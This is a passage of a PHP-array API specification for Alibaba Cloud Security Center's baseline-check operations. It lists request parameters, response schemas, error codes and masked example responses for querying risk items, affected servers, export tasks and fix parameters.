'The servers on which the alerts are generated.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The server on which the alert is generated.'."\n", 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The status of the check item. Valid values:'."\n" ."\n" .'* **1**: failed'."\n" .'* **2**: verifying'."\n" .'* **3**: passed'."\n" .'* **6**: ignored'."\n" .'* **7**: fixing'."\n" .'* **8**: fixed', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Bind' => [ 'description' => 'Indicates whether Security Center is authorized to protect the asset. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'AuthVersion' => [ 'description' => 'The edition of Security Center that is authorized to protect the asset. Valid values:'."\n" ."\n" .'* **1**: Basic edition'."\n" .'* **6**: Anti-virus edition'."\n" .'* **5**: Advanced edition'."\n" .'* **3**: Enterprise edition'."\n" .'* **7**: Ultimate edition'."\n" .'* **10**: Value-added Plan edition'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'PortOpen' => [ 'description' => 'Indicates whether a port on the server is accessible over the Internet. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'InstanceId' => [ 'description' => 'The instance ID of the server.'."\n", 'type' => 'string', 'example' => 'i-bp1a69mvjujbakxu****', ], 'IntranetIp' => [ 'description' => 'The private IP address of the affected asset.'."\n", 'type' => 'string', 'example' => '172.25.XX.XX', ], 'InternetIp' => [ 'description' => 'The public IP address of the affected asset.'."\n", 'type' => 'string', 'example' => '8.210.XX.XX', ], 'InstanceName' => [ 'description' => 'The name of the server.'."\n", 'type' => 'string', 'example' => 'sql-test-0****', ], 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => '49e25e0f-bb51-4a5a-a1b3-13a4ddaa****', ], 'RegionId' => [ 'description' => 'The region ID of the asset.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], 'Prompt' => [ 'description' => 'The prompt for the risk item.'."\n", 'type' => 'string', 'example' => 'There is a weak password (username/password): root/he*****34', ], 'WarningRiskList' => [ 'description' => 'The information about the baselines on which the risk item is detected.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The details about the baseline based on which the risk item is detected.'."\n", 'type' => 'object', 'properties' => [ 'RiskId' => [ 'description' => 'The ID of the baseline.'."\n", 'type' => 'integer', 'format' => 'int64', 'deprecated' => true, 'example' => '72', ], 'RiskName' => [ 'description' => 'The name of the baseline.'."\n", 'type' => 'string', 'deprecated' => true, 'example' => 'Alibaba Cloud Linux/Aliyun Linux 2 Baseline for China classified protection of cybersecurity-Level II', ], ], ], 'deprecated' => true, ], 'FixList' => [ 'description' => 'The details of the baselines for which the risk item can be fixed.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The details about the baseline for which the risk item can be fixed.'."\n", 'type' => 'object', 'properties' => [ 'RiskId' => [ 'description' => 'The ID of the baseline.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '72', ], 'RiskName' => [ 'description' => 'The name of the baseline.'."\n", 'type' => 'string', 'example' => 'Alibaba Cloud Linux/Aliyun Linux 2 Baseline for China classified protection of cybersecurity-Level II', ], ], ], ], 'ContainerId' => [ 'description' => 'The ID of the container.'."\n", 'type' => 'string', 'example' => '48a6d9a92435a13ad573372c3f3c63b7e04d106458141df9f9215570********', ], 'ContainerName' => [ 'description' => 'The name of the container.'."\n", 'type' => 'string', 'example' => 'step-build-ui-build', ], 'TargetName' => [ 'description' => 'The name of the asset on which the malicious image sample is detected.'."\n", 'type' => 'string', 'example' => 'jenkins****', ], 'TargetId' => [ 'description' => 'The ID of the asset that is scanned.'."\n", 'type' => 'string', 'example' => '30****', ], 'TargetType' => [ 'description' => 'The type of the asset. Valid values:'."\n" ."\n" .'* **ECS_SNAPSHOT**'."\n" .'* **ECS_IMAGE**'."\n", 'type' => 'string', 'example' => 'ECS_IMAGE', ], 'LastScanTime' => [ 'description' => 'The timestamp generated when the last scan was performed. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1694692471000', ], 'LastHandleTime' => [ 'description' => 'The timestamp of the latest processing of the check item risk of the machine. Unit: milliseconds.', 'type' => 'integer', 'format' => 'int64', 'example' => '1694692471000', ], 'FixStatus' => [ 'description' => 'Whether the repair is supported. Valid values:'."\n" .'* **0**: Supported'."\n" .'* **1**: Not Supported', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'AssetType' => [ 'title' => '云产品资产的类型。', 'description' => '云产品资产的类型。', 'type' => 'string', 'example' => '0', ], ], ], ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of affected assets.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '107', ], 'Count' => [ 'description' => 'The number of affected assets returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '4', ], ], ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '22B5615F-700E-575A-A6D5-DC8D7741****', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"List\\": [\\n {\\n \\"Status\\": 1,\\n \\"Bind\\": true,\\n \\"AuthVersion\\": 3,\\n \\"PortOpen\\": true,\\n \\"InstanceId\\": \\"i-bp1a69mvjujbakxu****\\",\\n \\"IntranetIp\\": \\"172.25.XX.XX\\",\\n \\"InternetIp\\": \\"8.210.XX.XX\\",\\n \\"InstanceName\\": \\"sql-test-0****\\",\\n \\"Uuid\\": \\"49e25e0f-bb51-4a5a-a1b3-13a4ddaa****\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"Prompt\\": \\"There is a weak password (username/password): root/he*****34\\",\\n \\"WarningRiskList\\": [\\n {\\n \\"RiskId\\": 72,\\n \\"RiskName\\": \\"Alibaba Cloud Linux/Aliyun Linux 2 Baseline for China classified protection of cybersecurity-Level II\\"\\n }\\n ],\\n \\"FixList\\": [\\n {\\n \\"RiskId\\": 72,\\n \\"RiskName\\": \\"Alibaba Cloud Linux/Aliyun Linux 2 Baseline for China classified protection of cybersecurity-Level II\\"\\n }\\n ],\\n \\"ContainerId\\": \\"48a6d9a92435a13ad573372c3f3c63b7e04d106458141df9f9215570********\\",\\n \\"ContainerName\\": \\"step-build-ui-build\\",\\n \\"TargetName\\": \\"jenkins****\\",\\n \\"TargetId\\": \\"30****\\",\\n \\"TargetType\\": \\"ECS_IMAGE\\",\\n \\"LastScanTime\\": 1694692471000,\\n \\"LastHandleTime\\": 1694692471000,\\n \\"FixStatus\\": 1,\\n \\"AssetType\\": \\"0\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 107,\\n \\"Count\\": 4\\n },\\n \\"RequestId\\": \\"22B5615F-700E-575A-A6D5-DC8D7741****\\"\\n}","type":"json"}]', 'title' => 'Get Warning Machines for a Specific Baseline Check Item', 'translator' => 'machine', ], 'DescribeWarningExportInfo' => [ 'summary' => 'Queries the progress of a export task for a baseline check result.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'ExportId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the export task.'."\n" ."\n" .'> You can can call the [ExportWarning](~~ExportWarning~~) operation to query the IDs of export tasks.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '14356', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'Link' => [ 'description' => 'The URL at which you can download the exported Excel file.'."\n", 'type' => 'string', 'example' => 'https://eds.aliyun.com/notification/entitle/64b5c3e2-e52b-4d29-9617-e7e6d74XXXX', ], 'Progress' => [ 'description' => 'The progress percentage of the export task.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '79CFF74D-E967-5407-8A78-EE03B925FDAA', ], 'CurrentCount' => [ 'description' => 'The number of baseline entries that are exported.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Message' => [ 'description' => 'The message that shows the task result. The value is fixed as **successful**, which indicates that the export task is complete.'."\n", 'type' => 'string', 'example' => 'successful', ], 'FileName' => [ 'description' => 'The name of the exported Excel file.'."\n", 'type' => 'string', 'example' => 'app_20210917', ], 'TotalCount' => [ 'description' => 'The total number of baseline entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'ExportStatus' => [ 'description' => 'The status of the export task.'."\n" ."\n" .'Valid values:'."\n" ."\n" .'* **init**: The task is being initialized.'."\n" .'* **exporting**: The task is in progress.'."\n" .'* **success**: The task is successful.'."\n", 'type' => 'string', 'example' => 'success', ], 'Id' => [ 'description' => 'The ID of the export task for the baseline check result.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '131231', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Link\\": \\"https://eds.aliyun.com/notification/entitle/64b5c3e2-e52b-4d29-9617-e7e6d74XXXX\\",\\n \\"Progress\\": 100,\\n \\"RequestId\\": \\"79CFF74D-E967-5407-8A78-EE03B925FDAA\\",\\n \\"CurrentCount\\": 1,\\n \\"Message\\": \\"successful\\",\\n \\"FileName\\": \\"app_20210917\\",\\n \\"TotalCount\\": 100,\\n \\"ExportStatus\\": \\"success\\",\\n \\"Id\\": 131231\\n}","type":"json"}]', 'title' => 'DescribeWarningExportInfo', ], 'DescribeHcExportInfo' => [ 'summary' => 'Queries the information about baseline export, including the name of the file to which baselines are exported and the download URL for the file.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', 'http', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'ExportId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the export task.'."\n" ."\n" .'> You can call the [ExportWarning](~~ExportWarning~~) operation to query the IDs of export tasks.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '443285', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'PlainResult', 'description' => 'The information about the baseline export task.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '3C2C94CF-ED08-50C0-BC72-C5029251****', ], 'FileName' => [ 'description' => 'The name of the exported file.'."\n", 'type' => 'string', 'example' => 'health_check_export_2022****', ], 'CurrentCount' => [ 'description' => 'The number of exported entries.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '148', ], 'Link' => [ 'description' => 'The download URL for the exported file.'."\n", 'type' => 'string', 'example' => 'https://hc-export.oss-cn-shanghai.aliyuncs.com/export_hc/health_check_export_20221222_1671699255808.zip?Expires=1672304056&OSSAccessKeyId=****&Signature=****', ], 'Progress' => [ 'description' => 'The progress percentage of the export task.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '89', ], 'Id' => [ 'description' => 'The ID of the export task.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1082278', ], 'TotalCount' => [ 'description' => 'The total number of exported entries.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '624', ], 'GmtCreate' => [ 'description' => 'The time when the export task was created.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '2022-11-03T15:15Z', ], 'ResultStatus' => [ 'description' => 'The status of the export task. Valid values:'."\n" ."\n" .'* **exporting**: The task is in progress.'."\n" .'* **success**: The task is complete.'."\n", 'type' => 'string', 'example' => 'exporting', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3C2C94CF-ED08-50C0-BC72-C5029251****\\",\\n \\"FileName\\": \\"health_check_export_2022****\\",\\n \\"CurrentCount\\": 148,\\n \\"Link\\": \\"https://hc-export.oss-cn-shanghai.aliyuncs.com/export_hc/health_check_export_20221222_1671699255808.zip?Expires=1672304056&OSSAccessKeyId=****&Signature=****\\",\\n \\"Progress\\": 89,\\n \\"Id\\": 1082278,\\n \\"TotalCount\\": 624,\\n \\"GmtCreate\\": 0,\\n \\"ResultStatus\\": \\"exporting\\"\\n}","type":"json"}]', 'title' => 'DescribeHcExportInfo', ], 'DescribeRisks' => [ 'summary' => 'Queries the information about baselines based on baseline IDs or names.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'RiskId', 'in' => 'query', 'schema' => [ 'description' => 'The baseline ID.'."\n" ."\n" .'> You can call the [DescribeCheckWarningSummary](~~DescribeCheckWarningSummary~~) operation to query the baseline IDs.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '75', ], ], [ 'name' => 'RiskName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the baseline.'."\n", 'type' => 'string', 'required' => false, 'example' => 'docker', ], ], [ 'name' => 'Limit', 'in' => 'query', 'schema' => [ 'description' => 'The maximum number of entries to return. Default value: 20.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '10', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'description' => 'The Alibaba Cloud account ID of the member in the resource directory.'."\n" ."\n" .'> You can call the [DescribeMonitorAccounts](~~DescribeMonitorAccounts~~) operation to obtain the IDs.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '127608589417****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'ListResult', 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'Risks' => [ 'description' => 'The baselines.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the baseline.'."\n", 'type' => 'object', 'properties' => [ 'RiskId' => [ 'description' => 'The baseline ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '54', ], 'RiskName' => [ 'description' => 'The name of the baseline.'."\n", 'type' => 'string', 'example' => 'Alibaba Cloud Standard - Ubuntu Security Baseline', ], 'RiskDetail' => [ 'description' => 'The description of the baseline.'."\n", 'type' => 'string', 'example' => 'Ubuntu 14,Ubuntu 16 ,Ubuntu 18,Ubuntu 20 baseline based on Alibaba Cloud best security practices', ], 'RiskType' => [ 'description' => 'The name of the baseline type.'."\n", 'type' => 'string', 'example' => 'cis', ], 'TypeAlias' => [ 'description' => 'The display name of the baseline type.'."\n", 'type' => 'string', 'example' => 'Best security practices', ], 'SubRiskType' => [ 'description' => 'The name of the baseline subtype.'."\n", 'type' => 'string', 'example' => 'hc_ubuntu', ], 'SubTypeAlias' => [ 'description' => 'The display name of the baseline subtype.'."\n", 'type' => 'string', 'example' => 'Alibaba Cloud Standard - Ubuntu Security Baseline', ], ], ], ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '23', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'EA54FE21-B006-5DFF-8D64-C4FFECDA****', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Risks\\": [\\n {\\n \\"RiskId\\": 54,\\n \\"RiskName\\": \\"Alibaba Cloud Standard - Ubuntu Security Baseline\\",\\n \\"RiskDetail\\": \\"Ubuntu 14, Ubuntu 16, Ubuntu 18, Ubuntu 20 baseline based on Alibaba Cloud best security practices\\",\\n \\"RiskType\\": \\"cis\\",\\n \\"TypeAlias\\": \\"Best security practices\\",\\n \\"SubRiskType\\": \\"hc_ubuntu\\",\\n \\"SubTypeAlias\\": \\"Alibaba Cloud Standard - Ubuntu Security Baseline\\"\\n }\\n ],\\n \\"TotalCount\\": 23,\\n \\"RequestId\\": \\"EA54FE21-B006-5DFF-8D64-C4FFECDA****\\"\\n}","type":"json"}]', 'title' => 'DescribeRisks', ], 'DescribeCheckWarningMachines' => [ 'summary' => 'Queries the servers on which the same risk item is detected by specifying a baseline and a check item.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '144227', 'abilityTreeNodes' => [ 'FEATUREsas0XJWFD', ], ], 'parameters' => [ [ 'name' => 'RiskId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the baseline.'."\n" ."\n" .'> You can call the [DescribeCheckWarningSummary](~~DescribeCheckWarningSummary~~) operation to query the IDs of baselines.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '43', ], ], [ 'name' => 'CheckId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the check item.'."\n" ."\n" .'> You can call the [DescribeCheckWarningSummary](~~DescribeCheckWarningSummary~~) operation to query the IDs of check items.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '58', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The risk status of the check item. Valid values:'."\n" ."\n" .'* **1**: failed'."\n" .'* **3**: passed'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'description' => 'The Alibaba Cloud account ID of the member in the resource directory.'."\n" ."\n" .'> You can call the [DescribeMonitorAccounts](~~DescribeMonitorAccounts~~) operation to obtain the IDs.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1232428423234****', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '10', ], ], [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'The information about the server that you want to query. The value can be the name or the public IP address of the server.', 'type' => 'string', 'required' => false, 'example' => '1.2.XX.XX', ], ], [ 'name' => 'InstanceId', 'in' => 'query', 'schema' => [ 'description' => 'The instance ID of the asset.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cri-rv4nvbv8iju4****', ], ], [ 'name' => 'FilterUuid', 'in' => 'query', 'schema' => [ 'description' => 'The instance ID of the asset that you don\'t want to query.', 'type' => 'string', 'required' => false, 'example' => '2f64e1a0f9316c48*******', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'ListResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Machines' => [ 'description' => 'The servers on which the same risk item is detected.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the server.'."\n", 'type' => 'object', 'properties' => [ 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => 'D0D6E6E4-CB8C-4897-B852-46AEFDA0****', ], 'InstanceName' => [ 'description' => 'The instance name of the server.'."\n", 'type' => 'string', 'example' => 'win-oracl****', ], 'InternetIp' => [ 'description' => 'The public IP address of the server.'."\n", 'type' => 'string', 'example' => '8.210.XX.XX', ], 'IntranetIp' => [ 'description' => 'The private IP address of the server.'."\n", 'type' => 'string', 'example' => '172.25.XX.XX', ], 'InstanceId' => [ 'description' => 'The instance ID of the server.'."\n", 'type' => 'string', 'example' => 'i-bp1dp42hgn1xcq8l****', ], 'RegionId' => [ 'description' => 'The ID of the region in which the server resides.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], 'Bind' => [ 'description' => 'Indicates whether Security Center is authorized to protect the asset. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], ], ], ], 'Count' => [ 'description' => 'The number of the servers on which the same risk item is detected.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'B3D989EB-2E59-584C-8438-5DFAA34A****', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'CurrentPage' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Machines\\": [\\n {\\n \\"Uuid\\": \\"D0D6E6E4-CB8C-4897-B852-46AEFDA0****\\",\\n \\"InstanceName\\": \\"test****\\",\\n \\"InternetIp\\": \\"8.210.XX.XX\\",\\n \\"IntranetIp\\": \\"172.25.XX.XX\\",\\n \\"InstanceId\\": \\"i-bp1dp42hgn1xcq8l****\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"Bind\\": true\\n }\\n ],\\n \\"Count\\": 10,\\n \\"RequestId\\": \\"B3D989EB-2E59-584C-8438-5DFAA34A****\\",\\n \\"PageSize\\": 20,\\n \\"CurrentPage\\": 1\\n}","type":"json"}]', 'title' => 'DescribeCheckWarningMachines', ], 'DescribeCheckFixDetails' => [ 'summary' => 'Queries the parameters that you can configure to fix specified risk items.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', 'http', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'RiskId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the baseline.'."\n" ."\n" .'> You can call the [DescribeCheckWarningSummary](~~116179~~) operation to query the IDs of baselines.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '51', ], ], [ 'name' => 'CheckIds', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the risk item.'."\n" ."\n" .'> You can call the [DescribeRiskType](~~DescribeRiskType~~) operation to query the IDs of risk items.', 'type' => 'string', 'required' => false, 'example' => '58', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'ListResult', 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'CheckFixDetails' => [ 'description' => 'An array that consists of the parameters.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the parameter.'."\n", 'type' => 'object', 'properties' => [ 'CheckId' => [ 'description' => 'The ID of the risk item.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '58', ], 'CheckItem' => [ 'description' => 'The description of the risk item.'."\n", 'type' => 'string', 'example' => 'Ensure password reuse is limited', ], 'CheckDesc' => [ 'description' => 'The detailed description of the risk item.'."\n", 'type' => 'string', 'example' => 'Force users not to reuse recently used passwords to reduce the risk of password guessing attacks', ], 'Rules' => [ 'description' => 'An array consisting of the rules that are supported by the risk item.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The rule that is supported by the risk item.'."\n", 'type' => 'object', 'properties' => [ 'RuleId' => [ 'description' => 'The ID of the rule.'."\n", 'type' => 'string', 'example' => 'pwd_reuse.system_auth', ], 'RuleDesc' => [ 'description' => 'The description of the rule.'."\n", 'type' => 'string', 'example' => '(/etc/system-auth)Force users not to reuse the number of recently used passwords between 5 and 24', ], 'VarName' => [ 'description' => 'The name of the variable.'."\n", 'type' => 'string', 'example' => 'open', ], 'DefaultValue' => [ 'description' => 'The default value of the rule.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Optional' => [ 'description' => 'Indicates whether the rule is optional. Valid values:'."\n" ."\n" .'* **1**: yes'."\n" .'* **0**: no'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'CheckId' => [ 'description' => 'The ID of the risk item.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '58', ], 'Value' => [ 'description' => 'The specified value of the rule parameter.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'ParamList' => [ 'description' => 'An array that consists of the rule parameters.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the rule parameter.'."\n", 'type' => 'object', 'properties' => [ 'ParamName' => [ 'description' => 'The name of the rule parameter.'."\n", 'type' => 'string', 'example' => 'range_val', ], 'ParamDesc' => [ 'description' => 'The description of the rule parameter.'."\n", 'type' => 'string', 'example' => 'The setting value is 0 means no definition, 1 means success, 2 means failure, 3 means success and failure', ], 'ParamDefaultValue' => [ 'description' => 'The default value of the rule parameter.'."\n", 'type' => 'string', 'example' => '5', ], 'ParamType' => [ 'description' => 'The type of the rule parameter. Valid values:'."\n" ."\n" .'* **1**: input'."\n" .'* **2**: selection'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'MinValue' => [ 'description' => 'The minimum value of the rule parameter.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'MaxValue' => [ 'description' => 'The maximum value of the rule parameter.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '24', ], 'EnumValue' => [ 'description' => 'The options that can be selected for the rule parameter if the value of the ParamType parameter is 2.'."\n", 'type' => 'string', 'example' => '0,1,2,3', ], 'Value' => [ 'description' => 'The specified value of the rule parameter.'."\n", 'type' => 'string', 'example' => '18', ], 'RuleId' => [ 'description' => 'The ID of the rule.'."\n", 'type' => 'string', 'example' => 'pwd_reuse.system_auth', ], ], ], ], ], ], ], ], ], ], 'Count' => [ 'description' => 'The number of risk items that can be fixed.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '0DBF1E27-98D8-5EC2-9CF3-4A2E26F6****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CheckFixDetails\\": [\\n {\\n \\"CheckId\\": 58,\\n \\"CheckItem\\": \\"Ensure password reuse is limited\\",\\n \\"CheckDesc\\": \\"Force users not to reuse recently used passwords to reduce the risk of password guessing attacks\\",\\n \\"Rules\\": [\\n {\\n \\"RuleId\\": \\"pwd_reuse.system_auth\\",\\n \\"RuleDesc\\": \\"(/etc/system-auth)Force users not to reuse the number of recently used passwords between 5 and 24\\",\\n \\"VarName\\": \\"open\\",\\n \\"DefaultValue\\": 1,\\n \\"Optional\\": 1,\\n \\"CheckId\\": 58,\\n \\"Value\\": 5,\\n \\"ParamList\\": [\\n {\\n \\"ParamName\\": \\"range_val\\",\\n \\"ParamDesc\\": \\"The setting value is 0 means no definition, 1 means success, 2 means failure, 